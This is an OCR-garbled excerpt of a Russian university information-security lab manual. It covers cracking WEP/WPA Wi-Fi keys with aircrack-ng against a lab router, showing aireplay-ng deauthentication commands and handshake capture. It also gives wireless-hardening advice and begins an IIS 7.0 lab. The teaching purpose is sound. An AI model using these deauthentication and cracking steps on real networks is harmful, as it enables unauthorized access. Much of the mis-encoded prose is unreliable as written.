0/ 2 FB(38144) 26(35328) 3F(33280) D9(33024) 8C(32512)

KEY FOUND! [ C2:0B:FA:FA:FB ]
Decrypted correctly: 100%

Puc. 84. Haxoxnenue kiroua
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[TonGop xmrowa 3aHsn 15 mMuHyT. T.e. 3IO0yMBIIUIEHHUKY HE COCTaBUT TpyJa

IPOHUKHYTH B OECIIPOBOJIHYIO CETh.

[lpr w3ydeHUn MPOrpaMMHOrO Koja mporpaMmbl aircrack-ng Owbuio 3aMedeHa
HE3HAUYMTEIbHAs OIINOKa B IPOBEPKE MAaKETOB, MOJIYYEHHBIX NpH coope u3 3¢upa. To
€CTh B IporpaMMe He OblIa omucaHa MPOBEpKa MaKeTOB HA MX TOYHOE IIH(PpPOBAHUE,
T.€ €CJIM B Haudaje IporpamMma IpoBepsuia, 4To makeTbl uMeHHO ARP makeTsl u
3alKChIBala UX B OTHEIBbHBIA (aill, TO Ipu AajbHEHIIed padoTel Iporpamma He
npoBepsUla HU JUIMHY TAaKeTa HU €ro COACpPKHMOEe, a MPOCTO 3amuchiBaja HUX B
otnenbHbIN (daiin. Yro 0wl 3ammuTuTh ceth Ha WEP mmdpoBanuu, Hago BHEAPUTH B
s¢up maketrsl ¢ WPA mmudppoBanueM. Tak ckaszarh 3amyTratb Oporpammy, 4to Obl
3MOYMBIIUICHHUK TPUMEHST METOJBI aTak il Apyroro meroga mmdposanus. s
ITOr0 HaM TOHAMOOUTCS eme OMUH Kommbiotep ¢ Wi-fi amamrepom, KoTOphId ObI
BBIKUJIBIBANT ““MyCOpHBIN Tpaduk” moxa TouHo TakuM ke MAC-anpecoM kak y TOYKH,

Kak ObLTO omMcaHo paHblie, moaaenarb MAC-aapec He Tak yK U CIIOXKHO.

s nonydenus karoua WPA/WPA2  mudpoBanus, MoWaeT yrnop Ha JIOOOBOM
METOJ aTakd, TO €CTh Mepedop BCEX BO3MOKHBIX BApHUAHTOB Kiroda. Ho MBI ke He
3HAEM TJI¢ Ha4aJIo TTAaKEeTOB, 1 UMCIO BBUIY TOT CUYETYHK KOTOPBIN OTIPABIISCT, TAKETHI
no odepeaHocTH. YTo OBl CKMHYTh CYETYHMK, HEMOCPEACTBEHHO HYXKHO IPOBECTH
aTaKky Ha TIOJB30BATENsI, TOTJAA JK€ TOUYKE MPHUACTCS IOBTOPHO aBTOPH3UPOBATH

MOJI30BATENSI METOJIOM 4 3TATHOTO PYKOMOXKATHS.

Ham He Hamo coOupaTh MHOXKECTBO MAKETOB M3 d(upa - JOCTATOYHO MOWMATh
MEpBBI Kajp B KOTOPOM TepenaHa uHGOpMAIuss O TOM, 4YTO IOJIH30BATENb
aBTOPH3UPOBAJICS TPABWIBHBIM KIIOUOM W MOXET paboTaTh, NpPUHUMAS H
pactmmdpoBbiBasi TakeThl. B mepBoM ke makere u coOpaHHa Bcs UHPOpMaIus o

kiroye. Torjaa v MpoBOJUTH aTaKy Mbl OyJ1eM HEMOCPEICTBEHHO Ha MOMMAaHHBIH MaKeT

2. Tlonyuenue xiroua WPA/WPA2 mudposanus. s mpoBeneHusl JaHHOTO

poJjia aTaKk HEOOXOIUMO:
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a. 3amaTh CaMOCTOSITEIbHO KIIOY IMHU(GPOBaHUA B HACTpPOIKax

AOCTYyIIa

WIRELESS NETWORK
LIse this section to configure the wireless settings for your D-Link router. Please note that changes
made in this section may also need to be duplicated on your wireless client.

To protect your privacy you can configure wireless security features. This device supports three
wireless security modes including: WEP, WPA and WPAZ.

[ Save Settings ] [ Don't Save Settings ]
WI-FI PROTECTED SETUP (ALSO CALLED WCH 2.0 IN WINDOWS VISTA)
Enahble -
Current PIM : 71719566
[ Generate New PIN ] [ Reset PIN to Default ]

Wi-Fi Protected Status : Enabled / Configured
[ Re=et to Unconfigured ]

[ Add Wireless Device with WPS |

WIRELESS NETWORK SETTINGS

Enable Wireless - Always v New Schedule

Wireless MNetwork Mame - |dlink (Also called the SSID)
Enable Auto Channel Selection . []
Wireless Channel: |6 |»

Transmission Rate : | Best (automatic) % | (Mbit's)
'WMM Enable : (Wireless QoS)
Enable Hidden Wireless - [] (Also called the $5I0 Broadcast)

WIRELESS SECURITY MODE

Security Mode - | Dizable Wireless Security (not recommended) w

[ Save Settings ] [ Don't Save Settings ]

Puc. 85. Hactpoiika Toukn 1ocryna

b. TlepeBecTn aganTep B peKMM MOHHUTOPUHTA

Interface Chipset Driver

wlan®

mono

Broadcom bd3 - [phy0]
(monitor mode enabled on monl)
Broadcom bd3 - [phy0]

Puc. 86. IlepeBoa agantepa B peKMM MOHUTOPHUHTA

TOYKHU
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C. BwiOpaTs mosb30BaTeNs 15 aTaKK U TOCHIIATh TTOKATHI K TOYKE JOCTYIIA
noa MAC — agpeca nosp3oBarenist (3T0 HE00X0IUMO YTOOBI TOUKa

A0CTYyIIa OTKJIIOYWJIA ITOJIb30BATCIIA U OH HAYaJl aBTOPHU30BATHCA CHOBa)

root@dlink -01 :~# aireplay-ng -0 5 -b 00:99:4C:(1:00:00 mond

14:05:47 Please specify at least a BSSID (-a) or an ESSID (-e)
root@dlink -01 :-# aireplay-ng -0 5 -a 00:96:4C:C1:00:00 mon

14:05:58 Waiting for beacon frame (BSSID: 00:90:4C:(C1:00:00) on channel 4
NB: this attack is more effective when targeting

a connected wireless client (-c <client's mac>).

14:05:58 Sending DeAuth to broadcast -- BSSID: [60:90:4C:C1:00:00]
14:05:58 Sending DeAuth to broadcast -- BSSID: [00:90:4(:(1:00:00]
14:05:59 Sending DeAuth to broadcast -- BSSID: [00:90:4C:C1:00:00]
14:05:59 Sending Deuth to broadcast -- BSSID: [60:90:4C:C1:00:00]
14:06:00 Sending DeAuth to broadcast -- BSSID: [06:96:4C:(1:00:60

Puc. 87. [leaBropusanus noib30BaTeINs

STATION PWR Rate Lost Packets Probes

00:90:4C:(1:00:00 00:£0:46:4C:01:40 © 1-1 514 3138

Puc. 88. OTxirroueHne nonb30BaTelIst OT TOYKH JOCTYTa

[Tonb3oBaTeNh KOTOPOTO MBI YCHJIEHHO OTKJIIOYMM OT TOYKH JOCTymna Oyner
MEPEKIIIOYATC 3aHOBO, TO €CTh NPOXOAUTh AaBTOpHU3alMIO eme pa3. llakeTs
aBTOpU3AIlMU HaM U HY>KHBI. [loiiMaB 3T makeThl, Mbl HaUHEeM niepebop. Eciu maposnb

JIETKUH TO BPEMEHHU 3aMET OT S MUHYT 10 | mHs.
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d. IlepexBaTuUTh MaKEThI ABTOPU3AIAN

(H 4 ][ BAT: 1 hour 3 mins ][ Elapsed: 2 mins ][ 2669-11-12 14:67 ][ WPA handshake: 00:9:4C:(1:06:00

BSSID PR RXQ Beacons  #Data, #/s (H MB ENC CIPHER AUTR ESSID
00:90:4C:C1:00:00 52100 1573 3152 33 4 54 Wk TKIP PSK dlink-Bl

BSSID STATION PR Rate  Lost Packets Probes

00:90:4C:C1:00:00 00:£0:46:4C:01:40 -52 54 -54 0 5804
Puc. 89. nepexsar nmaketon

e. IIpu momormm rmporpaMmmsbl aircrack-ng MIPOU3BECTH MOAOOP KITFOYA.
Aircrack-ng 1.0 rc3 rl1552
[00:03:36] 145900 keys tested (785.93 k/s)

Current passphrase: cracel24

Master Key : 95 A3 41 A0 BA 3B 05 3D E7 A4 BD 35 5A BB 80 92
A4 18 3F A2 04 FD 5E C9 7A 40 CF 62 3A OF 40 7C

Transient Key : 44 7B E4 A6 09 F7 BO 5D F2 97 56 EF 0C 0B EO B6
9A Al B3 22 FB FO 25 4A 39 DA CO 5C 7E 17 D1 3F
96 DF 51 E5 05 DA B5 6F 40 23 99 EB E8 CF 66 07
56 C1 A8 B2 28 67 EF 12 43 5B DC EB 47 67 8F DO

EAPOL HMAC : CA 3D 48 B5 C9 A8 A3 F6 3B DB ©A 29 2D A6 76 06

Puc. 90. Haxoxxnenue kiroua

Jlnst meMoHCTpaluy ycToMunBoCcTH ImmMdpa K mepedopy, Mbl B3SUTH MPOCTOU
napoiib. Ho 3ameTHO, 4TO Ha dKCHepUMEHT NoTpedoBaniock 22 yaca. UTo mO3BOISET
CKa3aTh O TOM, YTO MapoJib OyJIeT CUJIbHEEe M J0Jibllle TNepeOupaThCs, €Cld €ro
CoJlepKUMOe OYyJIeT COCTaBIsATh ByKBBI HIDKHMX M BEPXHHX PETUCTPOB, YHCEN H

CIIEI[3HAKOB.
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3ammuTa 0eclipoBOJHBIX ceTei.

BonbmmHCTBO OECIIPOBOAHBIX CETEW HUKAaK HE 3alIUIIEHBI OT MPOHUKHOBEHHUS
3moyMbIlUIeHHUKa. s oOecrmeueHus: 3amuThl  OECIIPOBOJHOTO  COCTUHEHHUS
HEOOXOUMO YYHUTHIBAaTh MHOXECTBO (pakTopoB. Ilockonbky oOOpyaoBaHus IS
OECIpOBOJHBIX COEAUHEHMH IIOCTENIEHHO JELIEBEET, TO JJs OOJbIIEro 4Yucia

MOJIb30BaTENICH CTAHOBUTCS BO3MOXKHBIM INOAKIIIOYCHHUEC K 9TOM CETH.

1. MakcumallbHBI YpOBEHb 0€30MacHOCTH oOecreyuT mnpumeHenne VPN —
UCITOJIB3YWUTE 3Ty TEXHOJIOTHIO B KOPIIOPATUBHBIX CETSX.

2. Ecou ectb BO3MOXXHOCTH ucnoib3oBath 802.1X (Hampumep, TOuka JIOCTyIa
noaaepxkusaet, umeercas RADIUS-cepBep) — Bocnonb3yiTech €il (Bopouem,
ysI3BUMOCTH ecTh 1 'y 802.1X).

3. Ilepen TOKYNKOW CETEBOrO YCTPONCTBA BHUMATEIHBHO O3HAKOMBTECH C
JIOKyMEHTaIen. Y3HaiTe, Kakiue MPOTOKOJIbI WJIM TEXHOJIOTUM IU(POBAHUS
UMH TnoanepkuBarorcs. I[IpoBeppTe, NOLNEPKUBAET JIM OTH TEXHOJIOTUMU
mmdpoanus Bama OC. Eciu HeT, TO cKadaidTe amnjaelTsl Ha calTe
paspabotuuka. Ecnu psa TexHosmoruit He moanepxkuBaercs co croponsl OC, To
3TO JIOJKHO MOJJEPKUBATHCS HA YPOBHE JIPaliBEPOB.

4. O0s3aTenbHO BKIIIOYATH MM poBaHue Tpaduka.

5. Ympasnsate noctynom kineHtoB mo MAC-aapecam (Media Access Control, B
HacTpoiikax MokeT HasbiBaThcsi Access List). Xots MAC-anpec U MOXHO
NOJIMEHUTh, TEM HE MEHee JTO [OMOJHUTEIbHBIH Oapbep Ha MyTH
3JI0YMBIIICHHUKA.

6. 3anpetuts TpaHciusuuio B 3hup uaeHtuduxaropa SSID, ucnonw3zyiite 3TY
BO3MOKHOCTh (OMIus MOXeT HasbiBaTthbea ‘“‘closed network™), HO u B sTOM
ciyqae SSID MokeT ObITh MepexBayeH MpU MOJKIIOUYEHUU JIETUTUMHOTO
KJIUCHTA.

7. Pacrionarath aHTEHHY KaK MO>KHO JajbIle OT OKHA, BHEIIHEH CTEHBI 3/1aHUS, a

TaKXKCE OFpaHHQHBafITC MOIIHOCTb  paaAWOU3IYUCHUA, YTOOBI CHHU3UTH
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BEPOSATHOCTh TMOJKIIOUEHUS «C yaulb». Hcnonp3yiTe HanmpaBiIEHHbIE
AHTEHHBI, HE UCIIOJIB3YNUTE paJOKaHaI 0 YMOIYAHUIO.

8. Ilpu yctaHoBKe OpaliBEpOB CETEBBIX YCTPOWCTB MpPEJIaraeTcsi BHIOOpP MEXITY
texHosmorusmu 1mudpoanuss WEP, WEP/WPA (cpennuii Bapmant), WPA,
BbIOMpaiiTe WPA (B MajbIX CeTIX MOXKHO HCIOJb30BaTh pekum Pre-Shared
Key (PSK)).

9. Bcerma wucnonp3yidTe MakCMMaldbHO JUIMHHBIE KItOYM. [28-OuT — 9TO
MUHHUMYM (HO €Clid B CeTH ecTh KapThl 40/64 OUT, TO B 3TOM Cily4ae C HUMHU BbI
HE CMOXETE€ COeIMHUThCA). Hukorga He nponuchiBaiiTeé B HACTPOMKAxX
POCThIE, «IehOJITHBIE» WU OYEBUJHBIC KIIOUM U MAPOJU (IE€Hb POXKICHUS,
12345), nepruoanuecku uX MEHsTe (B HACTpOMKax OOBIYHO UMEETCS yIO0OHBIN
BBIOOp M3 YETHIPEX 3apaHee 3aJaHHbIX KIFOYEH — COOOIIUTE KIMEHTaM O TOM,
B KaKOW JICHb HEJIENIA KAaKOW KJIKOY UCIIOJIb3YETCH).

10. He pamaiiTe HUKOMY WH(MOpPMAIMU O TOM, KakKUM OOpa3oM M C KaKUMHU
NapoJiiMA BBl TOJKIIIOYAETECh (€CIM MCHOJIb3YIOTCS mapoiin). MckaxkeHue
JAHHBIX WJIA WX BOPOBCTBO, a TakXe MpociyiuBaHue Tpadduka myrem
BHEIPEHHS] B IMIEPEJAaBAEMbIM IOTOK — OYEHb TPYAOEMKAas 3ajadya Ipu
YCJIOBUSIX, UTO IPUMEHSIOTCS JJIMHHBIE TUHAMUYECKN U3MEHSIOIINECS KITFOUH.
[ToaTOMy Xakepam MpoIe UCHOIb30BATh YEI0BEUECKUH (haKkTop.

11. Ecnu BBl HUCTIOJNB3YyETE CTATHYECKUE KIIOUM M MAPOJIH, 1M03a00ThTECH 00 MX
4acToil cMeHe. JlenaTe 3To Jiydllle OJJHOMY Y€JIOBEKY — aJIMUHUCTPATOpPY.

12. O0s3aTeTbHO WCIIONB3YWTE CIOXKHBIM TapoJib IS JOCTyna K HacTpOWKam
TOYKHU JIOCTYTA.

13. IIo BOBMOXHOCTH HE HCIOJB3YHUTE B OECIpPOBOAHBIX ceTsx mporokona TCP/IP
JUTsl OpraHu3alvy Namnok, (HaioB U IPUHTEPOB 001Iero qoctyna. Opranuzanus
pasnensieMbix pecypcoB cpencrBamu NetBEUI B nannom cimyudae Ge3omachee.
He pa3pemaiiTe rocTeBoil JOCTYII K pecypcam oOIIero A0CTyIa, UCIOJIb3yHTe

JJIMHHBIC CJIOKHBIC IIaPOJIH.
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14. Tlo BO3MOXXHOCTH HE UCTIONB3yiTe B OecripoBogHoit cetn DHCP — BpyuHyto
pacnpenenuTh cratudeckue [P-agpeca Mexay JErMTUMHBIMM —KJIMEHTAMU
Oe3omacHee.

15. Ha Bcex IIK BHyTpum OecmpoBOAHON CETH YCTaHOBHUTE (ailepBOILIBI,
CTapalTECh HE YCTAHABIMBATh TOUKY JIOCTYyIa BHE OpaHaMayspa, UCIOIb3yITe
MUHUMYM TpoTOoKosoB BHYTpu WLAN (Hanpumep, tonsko HTTP u SMTP).
Jleno B TOM, 4TO B KOPIOPATUBHBIX CETAX (ailepBOIII CTOUT OOBIYHO OJUH —
Ha BBIXOJIC B MHTEPHET, B3JIOMIIMK K€, MOJYYMBIIMN JOcTyn uepe3 Wi-Fi,
MoskeT nonactb B LAN, MUHYSI KOpHOpaTUBHBIN (haiiepBOILI.

16. Perynsippo  uccieayidTe  yA3BUMOCTH  CBO€M  CeTH C  MOMOIIBIO
CHEeUaIN3UPOBAaHHBIX CKaHEPOB OE30MACHOCTHU (B TOM YHCIIE XaKEPCKHUX THUIA
NetStumbler), 0OHOBIISIIITE MPOIIMBKY U JpailBepa yCTPOUCTB, yCTaHABIUBANUTE

3amaTky ;g Windows.

RADIUS-nipoTokon mpenHa3HadyeH [jisi paOOThl B CBSI3KE C CEPBEPOM
ayTeHTU(PUKaLUH, B KauecTBe KOTOporo oosyHO BbicTynaer RADIUS-cepsep. B
ATOM ciTydae OeCrpoBOIHBIE TOYKHU JOCTyIa pabOTaIOT B enterprise-pekume.

Ecrm B cetm otcyrctByer RADIUS-cepep, TO posnb  cepBepa
ayTeHTU(UKAIIMKU BBHITIOJHSAET caMa TOuyKa JOCTYINa - TaK Ha3bIBAEMBIM PEKUM
WPA-PSK (pre-shared key, oOmwii kirou). B 3ToM pekrMe B HacTpoiikax BCEX
TOYEK JOCTyIa 3apaHee MpOmUchIBaeTcs oOmui Kitod. OH ke MPONUCHIBACTCS U
Ha KJIMEHTCKUX OECHpOBOAHBIX YCTpoicTBax. TakoW METOJ 3allUThl TOXE
JOBOJIbHO cekblopeH (oTHocuTenbHO WEP), oueHp He yqo0€H ¢ TOYKH 3peHHs
ynpasinenus. PSK-xmrod TpeOyercs NponuchiBaTh Ha BCeX OECHpPOBOAHBIX
YCTPOMCTBAX, MOJH30BATEIN OCCIPOBOJHBIX YCTPOMCTB €ro MOTyT BUaeTh. Eciu
noTpedyeTrcs 3a0JI0KUPOBATH JOCTYI KAKOMY-TO KJIMEHTY B CETh, PUIETCS 3aHOBO
nponuceiBath HOBbIM PSK Ha Bcex ycTpoiicTBax cetH W Tak jaanee. Jpyrumu
cioBamu, pexuM WPA-PSK moaxoauT mjisi JAOMaliHeW CEeTH M, BO3MOXKHO,

HeOoJbIIoro oduca, HO HE OoJiee TOTO.
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s Toro, 4ToObl MOJB30BATENN MPOCKTHUPYEMON CETH UMENH pa3rpaHUYeHHBIN
J0CTyM (B 3aBUCUMOCTH OT JIOTHHA U NApoJIsl), a TAKXKe AJIs TOTr0, YTOObI U30€KaTh
aTak U3BHE, HEOOXOAMMO UMETh OTAEIBHBIN cepBep aBTopu3auu (AAA-cepsep).

B kauecTBe Takoro cepsepa, B Haiei cetu Oynaet Beictynath RADIUS cepsep.

3. IlopsAaOK BbINOJHEHUS Pad0OThI
1. O3nakoMuTtcs ¢ Teopuelt o 6ecrnpoBoaHbIM ceTsiM ctanaapta IEEE 802.11
2. Bzarb y npenofiaparens kitoua mudpoBaHus 11 TOYKU JOCTYTIA;
3. UccnenoBanue nNpor3BOUTEIBHOCTA TOYKHU JOCTYMA!
3.1. 3anmyctuth nporpammy NetlQ Chariot.
3.2. OtkpeiTh okHO Add an Endpoint Pair.
3.3 B oxue Add an Endpoint Pair B ctpokax Endpoint 1 u Endpoint 2
Hanucath MAC azipeca KOMIIBIOTEPOB MTPOU3BOISIINX U3MEPEHUS.
3.3. BeiOpats ckpurt throughput.
3.4. B mHactpoiikax ckprnurta BeiOMpaeMm mojie Size file m usmensem ero
3HAYEHHE COTJIACHO 3aJaHUIO.
3.5. TlpowsBectn wu3MepeHHs C pa3iuuHbiMH 3HaucHusMu Size file wu

3amucaTh UX B TaOJUITY.

Pazmep oJIst

size_file

CkopocTts nepenaun

JTAaHHBIX

Bpewms otknuka

3.6. Tloctpouth TpaduKku 3aBUCHMOCTH CKOPOCTH TIEpeIadd JaHHBIX OT
BEJIMYMHEI TIepeaBacMoro makeTa.

3.7. CoenaTthb BBIBOJBI.
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4.1lIudposanue:
4.1. 3anyctuts nporpammy NetlQ Chariot.
4.2. Cnenath pa3mep oTmpasisemoro ¢aiina 1500 6urt.
4.3. 3aiiTl B HACTPOIKM TOYKH JOCTYIA.
4.4. BKJIIOYHUT pexuM MHU(PPOBAHKS B COOTBETCTBHUH C 3aIaHHEM.
4.5. ITpousBecTr U3MEPEHUH.
4.6. [TomeHATH pexuM MU (PpoBaHUSL.
4.7. IloBTOopuTh NYHKTHI 4.4-4.6 B COOTBETCTBUM C 33IaHUEM

4.8. ITo momyyeHHbIM pe3yJbTaTaM 3aroJHUTh TaOIuUILy:

Pexxum mmmdpoBanus

CkopocTb nepenayn

JaHHBIX

Bpewms orknuka

4.10. IToctpouth Ha OJHOM Tpauke CKOPOCTH Mepenayu JaHHBIX IS
Pa3IMYHBIX PEKUMOB MU(POBAHUS.
4.11. Cnenatb BBIBOJIBL.
5. @parmMenTauus QperMoB:
5.1. OTKpbITh HACTPOMKHU TOUKHU AOCTYIIA.
5.2. Ilepeiitu Ha Bitagky Advanced Wireless, B mone Fragmentation Beectu
COOTBETCTBYIOILIEE 3HAUCHHUE.

5.3. Tlo mosy4eHHBIM pe3yibTaTaMu 3allOHUTH TAOTHUILY:

Pasmep ¢petima

CkopocTb nepeaayn

JTAaHHBIX

Bpewms otknuka

5.4 Tloctpouth rpadumK 3aBUCUMOCTH CKOPOCTH TNepeAavyd JTaHHBIX OT
pa3smMepa ¢peiim.
5.5 Cnenatb BBEIBOJIBI.
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6. Banowm kmoua mmdpoanust WEP:
6.1. BBecTH B HACTpOMKax TOYKH JIOCTYIA KU HIH(PPOBAHHUS.
6.2. OTKpbITH IpOrpaMmy aircrack-ng.
6.3. IlepeBecTu ajantep B pe:KUM MOHUTOPHHTA.
6.6. 3amenutp MAC-anpec anamnrepa.

6.7. [IpousBecTu nmouck cetu ¢ mudpoBanue nanubix WEP .
6.8. [Ipouspectu Habop makeroB oT 10000 mo 25000.
6.9. [IpousBecTu noadbop Kitoua.
6.10. IIponsBecTn aHaNU3 MOTYYECHHBIX JAHHBIX
7 Bszmowm kmoua mmdposanus WPA/\WPA2:
7.1. IlepeBecTu afantep B pe>KMM MOHUTOPHHTA.

7.2. BeiOpath moab3oBaTeNs I aTaKd M MOChUIATh MAKEThl K TOYKE JOCTYyIIa

nox MAC — angpeca nosibs3oBartesns
7.3. IlepexBaTUTh MOKAThl aBTOPU3ALINH
7.4. TIpu nomMoIu mporpaMMmel aircrack-ng npoussectr moa00p Kirova.
7.5. IIponsBecTy aHAIN3 NOJYYEHHBIX TAHHBIX

4.PexoMeHyeMas quTeparypa

1. Tlemxman Poman, Jlxonatan Jluspu OCHOBBI TIOCTPOEHHUS OECHPOBOIHBIX
nokanbHbIX cered cranpapra 802.11. — M.: Uznarenbckuii oM “Buibsmc”,

2004. - 304 c.

2. Wi-Fi. BecripoBoanas cetb / JIbxon Poce ; nep. ¢ anri. B. A. Betnyxkckux. - M. :
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Jlaboparopnasi paGora 12. HccienoBanume M aAMHMHHCTPHPOBAHHE CPEACTB
odecrieuennsi nwHopmanuonHoii oesomacHoctn \Web-cepsepa  Microsoft 11S

Server

1. Heanb padoTsbl
M3yduenue, ycTaHOBKa, HacCTporka u agmMuHucTpupoBanne Web-cepsepa IIS 7.0 Ha
Windows Server 2008 R2, cosmanne Ha ocHoBe IIS 7.0 XocTHHra, cremuaibHO

OIITUMHU3HUPOBAHHOIO I Pa3MCIICHUA CalTOB B HHTepHCTG.

2. Kparkmue TeopeTu4eckue cBeleHUs

Be6-cepBepom (ot anrn. Web-Server) naseiBaroT kak mporpaMMHOE oOecIieueHue,
BBITIOJHSIIOIIEE byHKIIN BeO-cepBepa, TaK 1 KOMITBIOTED, Ha KOTOPOM
3TO MporpaMmMHoOe  obecrieueHue paboraer. Takum oOpasom, BebO-cepBep —
3TO KOMITBIOTEP,  CIEUMAIbHO  ONTHUMH3UPOBAHHBIA  JUJIS pa3MEIIEHUS  CaWTOB
B HTepHere (CO cHeqUalbHBIM  MPOTPaMMHBIM  OOECIIEUEHHEM), U CEpPBEP,
npuHuMatomuii HTTP - 3ampocsl OT KiueHToB, 00BIYHO BeO-Opay3epoB, U BbIAAIOLIUI
uM HTTP-otBeThi, 00buHO BMecTe ¢ HTML-cTpanuneit, nzobOpaxenuem, daitiom,
MEMANOTOKOM WJIM IPYTUMHU JTaHHBIMU. BeO-cepBeppl — ocHOoBa Bcemuphoii
naytuHbl. KiueHThl momywaroT naocTyn Kk BeO-cepepy 1o URL azapecy HyxHOMU
UM BeO-CTpaHMIIbl WJIK APYroro pecypca.

VY BeO-cepBepa ofHA 3aja4a: MOJYYUTh IO CETH 3ampocC M MOCiaTh Ha HETO OTBET.
dopMalibHO, 3aMpPOC — ATO yYKa3aHUE BeO-CepBEpYy, KAKOW pPeCcypc BbI Obl XOTEIU
nonyunth. [lom pecypcom mompazymeBaetcss aokymeHT HTML. Wrak, waGupas
B aJ[pECHOI CTpoke Opaysepa Kakoil-mubo aapec Ha camoM Jene (popMmupyere 3ampoc
BeO-cepBepy. BebO-cepBep momxkeH mpuHATH 3ampoc. [loHATH ero u 0O6paboTars.
OOpaboTka oO3HaA4YaeT mepeaady 3alpoIIeHHOTO pecypca WM OOBSCHEHUE, MOoYeMy
pecypc He MOXET ObITh mpenocTaBieH. Eciu Bl HE omMONIMCh B 3alIpOCe M TAKOBOM
pecypc UMEIOTCSl BHAJMYHMH U BBl €70 MOXKETE TMOJIy4YHUTh, TOT/IA BeO-cepBep BhIOMpaeT

Hy)kHbI nokyMeHT HTML u nepemaer ero no cetn Bam. [Ipuyem, mepenaer oH ero

270



0e3 Kakux-mubo MoaupUKaIUii.

Internet Information Services 7.0

Internet Information Services 7.0 (11S 7.0) — aTo mocnenHss Bepcus BeO-cepBepa
kommanuu Microsoft. 11S Obu1 BKiIIOUEH B COCTaB CEMEHCTBA ONMEPAIIMOHHBIX CHCTEM
Windows Server naumnas ¢ omneparuonHoi cuctembl Windows 2000 Server B
kauectBe kKommnonenta Windows Component, a Taxxke s Windows NT B kadecTse
nononuenus. 1S 7.0 Bxoaut B cocraB omepannoHHbIX cucteM Windows Vista u
Windows Server 2008, kxoTopbie ObLTH BBITyIICHBI B TiepBoit yetBeptr 2008. 1S 7.0
npeTepresa MHOKECTBO U3MEHEHHWM W HOBBIM AW3aifiH ObLT HAMKMCaH C HYJIS. DTO OBLIO
CEJIaHO ISl TOTO, YTOOBI ClIeNaTh €ro caMoi ruOkoi U GezonacHou miaropmoit s

pa3MeleHus: BeO-IIPHIIOKEHUN.

IS 7.0 Obu1 cnpoekTupoBaH, 4YTOOBI OBITH caMOW Oe€30mMacHOM W THOKOH
wiaThopmoit s BeO-mpuiioxkeHuit ot komnanuu Microsoft. Microsoft momHoCTBIO
nepenenana au3aH |1S, m Bo Bpems 3Toro mporecca kKoMaHmaa paspadboruukoB 1S

chokycupoBaiach Ha 5 OCHOBHBIX 00JIACTSX:

be3zonacHocTh
Pacmupsiemoctb
Konduryparnus 1 yctaHoBka

AJIMUHUCTPUPOBAHNE U TNAarHOCTHKA

O O O O O

[Ipon3BOAUTENBHOCTD

Kommanus Microsoft cdokycuposaiach Ha MOAYJIbHOCTH Tipu co3aanuu 1S 7.0,
YTO O3HAYaeT, 4YTO I YCTAHOBKM HEOOXOMWMBI JIWIb OWHapHbIE (aiabl, 4YTO
MUHAMH3UPYET TPOCTPAHCTBO JUIA aTak Ha BeO-cepBep. OmepanuoHHas cuUcTeMa
Windows Server 2008 Bkirouaer B ceOst Bce BO3MOKHOCTH |IS, HeoOXxomumble s

MOAACPKKHU U Pa3MCIICHHAA BeO COACPKUMOTIO B IMIPOMBIINIJICHHBIX CPCAax.
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Poab Be6-cepiepa (115)

OcHoBHBbIe XapakTepucTuku ciyx0 11S 7.0:

[ rudKasi MOJIeb paciIupeHust As 3pPEKTUBHON HACTPOUKH;

0 3QQeKTUBHbIE CpEACTBA TUATHOCTUKM, a TaKKe IIOMCKAa M YCTPaHEHUs
HEeTIO0NIaJIO0K;

[ JIeJIETUPOBAHHOE aIMUHUCTPUPOBAHNE;

N yAydIlIeHHAs 3alUTa ¥ OTPAaHUYCHUE YA3BUMOCTH ISl aTaK IMTyTeM HACTPONKU;

[ peanbHOE pa3BEPTHIBAHUE MIPUIIOKEHUI C TOMOIIBIO KOMaH/IbI XCOPY;

[ UHTETPUPOBAaHHbBIE CpeAcTBa yTIpaBJICHUS IPUIIOKECHUSIMU U

pabotocmnocobHOCTRIO Ts ciry:xk0 Windows Communication Foundation (WCF);
[] YCOBEPILICHCTBOBAHHbBIC CPEACTBA aIMMHUCTPHUPOBAHUS.

bnaromaps »tuM mpeumymectBam craykObl IS 7.0 o0ecneunBarOT eIUHYIO

COMIaCOBAaHHYIO MOJIEb pa3pabOTKU U aAMUHUCTPUPOBAHUS UHTEPHET PEIICHUN.

I'nOxkas mogenb pacmupenus AJs1 3PPEeKTHUBHON HACTPONKHU

Cayx6br 11S7.0 momaepxuBaloT HOBbIe Oonee 3PPEKTUBHBIE CHOCOOBI
paciperusi (yHKIIMOHAJIBHOCTH B COOTBETCTBMM C KOHKPETHBIMH TPEOOBaHUSMHU.
Mopens pacmmpenuss IS 7.0 BkiarouaeT HOBBIE TNPUKIAAHBIE MPOTPaMMHBIC
uHTep(elicbl OCHOBHBIX KOMIIOHEHTOB CE€pBepa, IO3BOJSIOLIME pa3padaTbiBaTh
GbyHKIIMOHATBHBIE MOAYIM Kak B MamuHHOM Kome (C/C++), Tak ¥ B ymHpaBisieMOM

koze (s3p1ku, ucnonb3ytomme .NET Framework, rakue kak C# u Visual Basic 2005).

1S 7.0 Takke mommep)uBalOT HAOOPHI PACIIMPEHUN HACTPOUWKH, CIICHAPHUEB,
peructpanu  COOBITUA M CPEACTB  QJIMUHUCTPUPOBAHMS,  MPEIOCTABIISS

pa3paboTyuKaM MPOTPaMMHOTO OOECIEUEHHs MOJIHYI0 CEepBEpHYIO Targopmy s
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CO3/1aHMS pacllupeHunil BeO-cepBepa.

JddexTUBHBIE CPEICTBA JTMATHOCTHUKH, a4 TAKHKE MOUCKA U YCTPaHEeHUS
HeIoJIa/I0K
Cayx06s1 11S 7.0 obneryaror moucK ¥ yCTpaHEHHE HEMOoJIaI0K B paboTe BeO-y310B U
npwiokeHuid. OHU  00ecneyumBalOT  SCHOE  MPEACTABICHHUE  BHYTPEHHUX
JIMarHOCTHYECKUX CBeleHud o padore 1S, a Takxke cobupaeT M MO3BOISIET U3ydaTh
COOBITHS JMATHOCTHKH, IOMOTas YCTPAHATh HEMOJAJAKH B paboTe MpoOIeMHBIX

CEPBEPOB.

JleerupoBaHHOe aIMMHUCTPHPOBaHUE

Cryx65p1 11S 7.0 1mO3BOJISAIOT TIPU pa3MEIICHUH WM aJMUHUCTPUPOBAHUU BeO-
y310B win cay:x6 WCF penermpoBarth aJMHHUCTPHpPOBAHHE pa3pabOTYMKaM WU
BJaJeabllaM COJAEPKUMOTO, YTO COKpPALAET CTOMMOCTh BIAJCHHUS CUCTEMOH H
CHIDKAaeT Harpy3ky Ha aaMuUHHUCTpatopa. s HCIonb30BaHUS d3TUX  (YHKIIHHA

ACICTUPOBAHUA IIPCAOCTABIIAOTCA HOBBIC CPCACTBA AAMUHHUCTPUPOBAHUA.

Yiay4uieHHas 32a10MTAa U OTPAHUYEHHE YA3BUMOCTH ISl aTaK

